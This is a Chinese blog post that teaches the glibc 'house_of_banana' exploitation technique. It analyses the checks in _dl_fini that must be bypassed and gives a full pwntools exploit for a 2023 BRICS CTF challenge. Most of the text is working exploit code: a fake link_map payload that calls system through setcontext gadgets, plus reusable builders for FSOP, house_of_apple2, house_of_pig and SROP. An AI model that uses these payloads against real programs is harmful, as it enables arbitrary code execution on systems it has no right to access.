0%

house_of_banana

简介

house_of_banana是一种全版本通用的针对link_map的打法,函数在main函数/主函数正常返回时会调用到fini_array结构,漏洞代码就在其中,效果是可以执行一大段gadgets,破坏力比起apple2还要强,但是对能够控制的内存长度有要求,需要控制长度长达0x320+,而apple2可以控制在多段0x100内

打法模板

调试的时候最好把aslr关了,不过还得注意本地和远程ld偏移不一致的问题

关闭aslr进行调试 | hkbin的小博客~ (hkhanbing.github.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def house_of_banana(fake_addr, l_next, gadget, count):
fake_content = p64(0) + p64(0) # l_addr keep zero to array
fake_content += p64(0) + p64(l_next) # l_next # check 1 for assert
fake_content += p64(0) + p64(fake_addr) # l_real == _ns_loaded # check 1 for assert
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content = fake_content.ljust(0x48, b'\x00')
fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
fake_content += gadget # reverse_gadget
fake_content = fake_content.ljust(0x110, b'\x00')
fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]
fake_content = fake_content.ljust(0x31c, b'\x00') # 0x31c / 0x314
fake_content += p64(0x1c) # check 2 to l_init_called
return fake_content

fake_addr = heap_base + 0x490
l_next = libc_base + (0x7ffff7ffe890 - 0x7ffff7c00000)
ret_addr = libc_base + 0x0000000000029cd6
setcontext = libc_base + libc.sym['setcontext']
bin_addr = libc_base + 0x00000000001d8698
gadget = p64(libc_base + libc.sym['system']) + p64(setcontext + 306) + p64(ret_addr) + p64(0)*12 + p64(bin_addr)

fake_content = house_of_banana(fake_addr + 0x10, l_next, gadget, 3)

打法原理/需要绕过的各种校验

源码分析

源码在ELF的dl-fini.c里,这里就不全贴了(在文章最后),挑校验来分析

第一部分需要绕过的校验

在代码的第80行

1
2
3
4
5
6
7
8
9
10
11
12
if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}

这一部分需要保持l→l_real和_rtld_global._dl_ns._ns_loaded结构体一致,这是为了能够过掉后面的两个断言,这里的l自然就是_rtld_global._dl_ns._ns_loaded

整个link_map链表的入口就是_rtld_global._dl_ns._ns_loaded,然后再通过l→next来访问别的链表。

链表数量由这个决定:_rtld_global._dl_ns._ns_nloaded

原本默认是4个,而且都能通过l→l_real == l,所以我们也要让我们伪造的能通过

Untitled

第二部分校验

我们知道原来的四个链表是能通过这两个断言校验的

1
2
92:assert (ns != LM_ID_BASE || i == nloaded);
93:assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);

显然这两个校验与链表完整性有关

原来的四个链表:

link_map1→link_map2→link_map3→link_map4→0x0

而且是通过l_next来进行链接的

这个时候我们构造

fake_map→link_map2→link_map3→link_map4→0x0

就能通过校验!

第三部分校验

经过了前两部分校验之后,我们就能进入最核心的代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];

if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;
/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);
/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
/* Next try the old-style destructor. */
if (ELF_INITFINI && l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}

#ifdef SHARED
/* Auditing checkpoint: another object closed. */
_dl_audit_objclose (l);
#endif
}

我们的目标就是打到 ((fini_t) array[i]) ();

这里化简一下代码好看点

1
2
3
4
5
6
7
8
9
10
11
12
13
for i in maps:
if (l->l_init_called):
l->l_init_called = 0
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL)):
if (l->l_info[DT_FINI_ARRAY] != NULL):
array = (ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr)
i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)))
while (i-- > 0)
((fini_t) array[i]) ();

我们需要一路走if,走到while即可

所以我们的l_init_called需要设为1

这个东西的偏移在0x31c或者0x314,填为0x1c,标志位即可为1

1
2
fake_content = fake_content.ljust(0x31c, b'\x00') # 0x31c / 0x314
fake_content += p64(0x1c) # check 2 to l_init_called

然后是第二个if:

宏定义:

Untitled

给l_info对应的位置填点东西即可

如此即可绕过第二个if和第三个if判断

最后是确定array和i的代码:

我们设置l→l_addr为0,则array为l->l_info[DT_FINI_ARRAY]->d_un.d_ptr

i为i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)))

所以我们需要将l_info[DT_FINI_ARRAY]指向一个可控的地址,这里指向fake_addr+0x40

l->l_info[DT_FINI_ARRAYSZ]指向fake_addr + 0x48

1
2
3
4
5
6
fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
fake_content += gadget # reverse_gadget
fake_content = fake_content.ljust(0x110, b'\x00')
fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]

执行gadget

绕过所有所有判断和校验之后,终于可以执行gadget了!

不过需要注意的是他是while(i—),所以我们的gadget是反过来的,也就是先执行后面的gadget,再执行前面的gadget。

而且有一个小tips,它会将前面执行过的gadget地址放到rdx里面

再配合上2.29+的setcontext,可以实现控制绝大部分寄存器(我们可控的gadgets范围为0x110

没有栈帧情况下也只能考虑setcontext和SROP啦(

例题

来自2023 bricsctf paint这道题

前面的leak和漏洞就不分析了

直接house_of_banana打法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
"""house_of_banana"""
_rtld_global = libc_base + (0x7ffff7ffd040 - 0x7ffff7c00000)

log(hex(_rtld_global))

fake_addr = heap_base + 0x490
l_next = libc_base + (0x7ffff7ffe890 - 0x7ffff7c00000)
ret_addr = libc_base + 0x0000000000029cd6

def house_of_banana(fake_addr, l_next, gadget, count):
fake_content = p64(0) + p64(0) # l_addr keep zero to array
fake_content += p64(0) + p64(l_next) # l_next # check 1 for assert
fake_content += p64(0) + p64(fake_addr) # l_real == _ns_loaded # check 1 for assert
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content = fake_content.ljust(0x48, b'\x00')
fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
fake_content += gadget # reverse_gadget
fake_content = fake_content.ljust(0x110, b'\x00')
fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]
fake_content = fake_content.ljust(0x31c, b'\x00') # 0x31c / 0x314
fake_content += p64(0x1c) # check 2 to l_init_called
return fake_content

setcontext = libc_base + libc.sym['setcontext']
bin_addr = libc_base + 0x00000000001d8698
gadget = p64(libc_base + libc.sym['system']) + p64(setcontext + 306) + p64(ret_addr) + p64(0)*12 + p64(bin_addr)

fake_content = house_of_banana(fake_addr + 0x10, l_next, gadget, 3)

add(3, 0xf0, 1)
resize(3, 0xf0, 5)
fake_content = fake_content.ljust(0xf0 * 5, b'\x00')

# edit(3, fake_content)
sla(prefix, b'3')
sla("Enter idx: ", str(3))
for i in range(5):
sl(fake_content[0xf0*i:0xf0*(i+1)])

rate(-8, 1, 'y', p64(0xffffffffffff01ff) + p64(_rtld_global))
edit(-5, p64(fake_addr + 0x10))

bpp()
exit()

覆盖掉_rtld_global._dl_ns._ns_loaded改到可控的heap区,之后套banana即可

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
from pwn import *
import ctypes
context.terminal = ["tmux","splitw","-h"]

context.log_level = "debug"
context.arch = "amd64"
# context.aslr = False

filename = "./pwn"
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
remote_ip = "paint-71ae86dc10a3fe17.brics-ctf.ru"
remote_port = "13003"

libc = ELF(libc_name)

mode = 0

s = lambda x: p.send(x)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()

if mode:
p = remote(remote_ip, remote_port)
else:
p = process(filename, stdin=PTY)

def bpp():
gdb.attach(p)
pause()

def log(x):
print("\x1B[36m{}\x1B[0m".format(x))

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): # fake_linkmap_addr指向一段可控内存 | known_func_ptr指向一个已知的函数的got表地址 | offset是system函数和这个函数在libc上的偏移
# &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
linkmap = p64(offset & (2 ** 64 - 1)) #l_addr

# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
linkmap += p64(0) # 可以为任意值
linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
linkmap += p64(0)# Rela->r_addend,任意值都行

linkmap += p64(0)#l_ns

# fake_linkmap_addr + 0x38, DT_SYMTAB
linkmap += p64(0) # 参考IDA上.dyamisc的结构
linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
return linkmap

def orw_shellcode():
payload=shellcraft.open('./flag')
payload+=shellcraft.read(3,'./flag',100)
payload+=shellcraft.write(1,'./flag',100)
payload=asm(payload)
return payload

def csu_gadget(part1, part2, jmp2, arg1 = 0, arg2 = 0, arg3 = 0): # ->可能需要具体问题具体分析
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0) # rbx be 0x0
payload += p64(1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(part2) # part2 entry will call [r12 + rbx * 0x8]
payload += b'A' * 56 # junk 6 * 8 + 8 = 56
return payload

def leak():
leak_dat = ru("\x7f")[-6:]
return u64(leak_dat.ljust(8, b'\x00'))

def fmlstr(offset1, offset2, chain2, target, prefix): # partial write
for i in range(8):
if (target&0xff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hhn".format((target&0xff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 8
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def fmlstr2(offset1, offset2, chain2, target, prefix): # partial write
for i in range(4):
if (target&0xffff) != 0:
if i != 0:
sa(prefix, "%{}c%{}$hhn".format(((chain2&0xff) + i*2), offset1).encode() + b'\x00')
sleep(0.05)
sa(prefix, "%{}c%{}$hn".format((target&0xffff), offset2).encode() + b'\x00')
sleep(0.05)
target >>= 16
sa(prefix, "%{}c%8$hhn".format((chain2&0xff)).encode() + b'\x00')

def SROP(rdi, rsp, rip):
signframe = SigreturnFrame()
signframe.rax = constants.SYS_execve
signframe.rdi = rdi
signframe.rsi = 0x0
signframe.rdx = 0x0
signframe.rsp = rsp
signframe.rip = rip
return bytes(signframe)

def FSOP(fake_vtable_addr):
# only in glibc 2.23
# 2.23+ vtable有范围校验 此时不如别的打法好打
# 触发方式只要能出发_IO_overflow即可(其实有关IO流的只要经过vtable应该都能打)
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.flags = 0x68732f6e69622f # /bin/sh\x00
fake_IO_FILE.vtable = fake_vtable_addr
IO_FILE = bytes(fake_IO_FILE)
return IO_FILE

def house_of_pig(_IO_str_jumps, bin_addr, bin_size, system_addr):
# 2.34之前仍能用house_of_pig打,2.34之后各种hook函数被弄掉了 不过可以看看house_of_pig_plus
# 原理:只要能跑到_IO_oveflow就会跳转到_IO_str_overflow然后就会malloc->memcpy->free /||gadget
# 尽量申请free_hook - 0x20然后利用_IO_save_base + _IO_backup_base来处理memcpy那部分
"""
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
char *old_buf = fp->_IO_buf_base; # 需要控制_IO_buf_base
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
new_buf = malloc (new_size); # 计算好申请出来
memcpy (new_buf, old_buf, old_blen); #覆盖(
free (old_buf);
"""
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_str_jumps
fake_IO_FILE._IO_buf_base = bin_addr
fake_IO_FILE._IO_buf_end = bin_addr + int((bin_size - 100) / 2)
fake_IO_FILE._IO_save_base = system_addr
fake_IO_FILE._IO_backup_base = system_addr
return bytes(fake_IO_FILE)

def house_of_apple2(_IO_wfile_jumps, wide_data_entry, wide_data_vtable_entry, RIP):
"""
调用流为_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->Your RIP
_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
"""
# main
from pwncli import IO_FILE_plus_struct
fake_IO_FILE = IO_FILE_plus_struct()
fake_IO_FILE.flags = 0x68732020
fake_IO_FILE._mode = 0
fake_IO_FILE._IO_write_ptr = 1
fake_IO_FILE._IO_write_base = 0
fake_IO_FILE.vtable = _IO_wfile_jumps
fake_IO_FILE._wide_data = wide_data_entry
fake_IO_FILE = bytes(fake_IO_FILE)
# wide_data 这里只要控制vtable即可
pad = p64(0)*4 + p64(heap_base + 0x100) + p64(0) + p64(0) + p64(0) * (28-7)
pad += p64(wide_data_vtable_entry)
# wide_data_vtable
"""_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足(B + 0x68) = C"""
payload = p64(RIP)*14
return (fake_IO_FILE, pad, payload)

prefix = "6. Delete canvas"

def show(index):
sla(prefix, b'4')
sla("Enter idx: ", str(index))

def add(index, width, height):
sla(prefix, b'1')
sla("Enter idx: ", str(index))
sla("Enter canvas width (1-255): ", str(width))
sla("Enter canvas height (1-255): ", str(height))

def delete(index):
sla(prefix, b'6')
sla("Enter idx: ", str(index))

def edit(index, payload):
sla(prefix, b'3')
sla("Enter idx: ", str(index))
sa("Enter your picture (`width` chars in `height` lines): ", payload)

def rate(index, rate, comment, payload):
sla(prefix, b'5')
sla("Enter idx: ", str(index))
sla("Enter rate: ", str(rate))
sla("Leave comment (y/n): ", comment)
sa("Enter your comment: ", payload)

def resize(index, width, height):
sla(prefix, b'2')
sla("Enter idx: ", str(index))
sla("Enter new width (1-255): ", str(width))
sla("Enter new height (1-255): ", str(height))

def exit():
sla(prefix, b'666')

"""leak libc"""
show(-2)

leak_dat = leak()
log(hex(leak_dat))

libc_base = leak_dat - (0x7f510501ba80 - 0x7f5104e00000)
log(hex(libc_base))

"""leak heap"""
add(0, 0x10, 2)
rate(0, 1, 'y', b'a'*0x20)
rate(0, 1, 'y', b'b'*0x30)
delete(0)
add(0, 0x10, 2)
show(0)

ru("Picture: \n")
heap_base = u64(r(5).ljust(8, b'\x00')) # L >> 12 补回去刚好是heap_base
heap_base = heap_base << 12
log(hex(heap_base << 12))

"""house_of_banana"""
_rtld_global = libc_base + (0x7ffff7ffd040 - 0x7ffff7c00000)

log(hex(_rtld_global))

fake_addr = heap_base + 0x490
l_next = libc_base + (0x7ffff7ffe890 - 0x7ffff7c00000)
ret_addr = libc_base + 0x0000000000029cd6

def house_of_banana(fake_addr, l_next, gadget, count):
fake_content = p64(0) + p64(0) # l_addr keep zero to array
fake_content += p64(0) + p64(l_next) # l_next # check 1 for assert
fake_content += p64(0) + p64(fake_addr) # l_real == _ns_loaded # check 1 for assert
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content = fake_content.ljust(0x48, b'\x00')
fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
fake_content += gadget # reverse_gadget
fake_content = fake_content.ljust(0x110, b'\x00')
fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]
fake_content = fake_content.ljust(0x31c, b'\x00') # 0x31c / 0x314
fake_content += p64(0x1c) # check 2 to l_init_called
return fake_content

setcontext = libc_base + libc.sym['setcontext']
bin_addr = libc_base + 0x00000000001d8698
gadget = p64(libc_base + libc.sym['system']) + p64(setcontext + 306) + p64(ret_addr) + p64(0)*12 + p64(bin_addr)

fake_content = house_of_banana(fake_addr + 0x10, l_next, gadget, 3)

add(3, 0xf0, 1)
resize(3, 0xf0, 5)
fake_content = fake_content.ljust(0xf0 * 5, b'\x00')

# edit(3, fake_content)
sla(prefix, b'3')
sla("Enter idx: ", str(3))
for i in range(5):
sl(fake_content[0xf0*i:0xf0*(i+1)])

rate(-8, 1, 'y', p64(0xffffffffffff01ff) + p64(_rtld_global))
edit(-5, p64(fake_addr + 0x10))

bpp()
exit()

"""past"""

ia()

附录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct rtld_global
{
#endif
/* Don't change the order of the following elements. 'dl_loaded'
must remain the first element. Forever. */

/* Non-shared code has no support for multiple namespaces. */
#ifdef SHARED
# define DL_NNS 16
#else
# define DL_NNS 1
#endif
EXTERN struct link_namespaces
{
/* A pointer to the map for the main map. */
struct link_map *_ns_loaded;
/* Number of object in the _dl_loaded list. */
unsigned int _ns_nloaded;
/* Direct pointer to the searchlist of the main object. */
struct r_scope_elem *_ns_main_searchlist;
/* This is zero at program start to signal that the global scope map is
allocated by rtld. Later it keeps the size of the map. It might be
reset if in _dl_close if the last global object is removed. */
unsigned int _ns_global_scope_alloc;

/* During dlopen, this is the number of objects that still need to
be added to the global scope map. It has to be taken into
account when resizing the map, for future map additions after
recursive dlopen calls from ELF constructors. */
unsigned int _ns_global_scope_pending_adds;

/* Once libc.so has been loaded into the namespace, this points to
its link map. */
struct link_map *libc_map;

/* Search table for unique objects. */
struct unique_sym_table
{
__rtld_lock_define_recursive (, lock)
struct unique_sym
{
uint32_t hashval;
const char *name;
const ElfW(Sym) *sym;
const struct link_map *map;
} *entries;
size_t size;
size_t n_elements;
void (*free) (void *);
} _ns_unique_sym_table;
/* Keep track of changes to each namespace' list. */
struct r_debug _ns_debug;
} _dl_ns[DL_NNS];
/* One higher than index of last used namespace. */
EXTERN size_t _dl_nns;
.................................................................................
};

dl_fini源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
/* Call the termination functions of loaded shared objects.
Copyright (C) 1995-2022 Free Software Foundation, Inc.
This file is part of the GNU C Library.

The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.

The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.

You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<https://www.gnu.org/licenses/>. */

#include <assert.h>
#include <string.h>
#include <ldsodefs.h>
#include <elf-initfini.h>

/* Type of the constructor functions. */
typedef void (*fini_t) (void);

void
_dl_fini (void)
{
/* Lots of fun ahead. We have to call the destructors for all still
loaded objects, in all namespaces. The problem is that the ELF
specification now demands that dependencies between the modules
are taken into account. I.e., the destructor for a module is
called before the ones for any of its dependencies.

To make things more complicated, we cannot simply use the reverse
order of the constructors. Since the user might have loaded objects
using `dlopen' there are possibly several other modules with its
dependencies to be taken into account. Therefore we have to start
determining the order of the modules once again from the beginning. */

/* We run the destructors of the main namespaces last. As for the
other namespaces, we pick run the destructors in them in reverse
order of the namespace ID. */
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
else
{
#ifdef SHARED
_dl_audit_activity_nsid (ns, LA_ACT_DELETE);
#endif

/* Now we can allocate an array to hold all the pointers and
copy the pointers in. */
struct link_map *maps[nloaded];

unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;

/* Now we have to do the sorting. We can skip looking for the
binary itself which is at the front of the search list for
the main namespace. */
_dl_sort_maps (maps, nmaps, (ns == LM_ID_BASE), true);

/* We do not rely on the linked list of loaded object anymore
from this point on. We have our own list here (maps). The
various members of this list cannot vanish since the open
count is too high and will be decremented in this loop. So
we release the lock so that some code which might be called
from a destructor can directly or indirectly access the
lock. */
__rtld_lock_unlock_recursive (GL(dl_load_lock));

/* 'maps' now contains the objects in the right order. Now
call the destructors. We have to process this array from
the front. */
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];

if (l->l_init_called)
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;

/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

/* Next try the old-style destructor. */
if (ELF_INITFINI && l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}

#ifdef SHARED
/* Auditing checkpoint: another object closed. */
_dl_audit_objclose (l);
#endif
}

/* Correct the previous increment. */
--l->l_direct_opencount;
}

#ifdef SHARED
_dl_audit_activity_nsid (ns, LA_ACT_CONSISTENT);
#endif
}
}

#ifdef SHARED
if (! do_audit && GLRO(dl_naudit) > 0)
{
do_audit = 1;
goto again;
}

if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_STATISTICS))
_dl_debug_printf ("\nruntime linker statistics:\n"
" final number of relocations: %lu\n"
"final number of relocations from cache: %lu\n",
GL(dl_num_relocations),
GL(dl_num_cache_relocations));
#endif
}

rtld_global结构体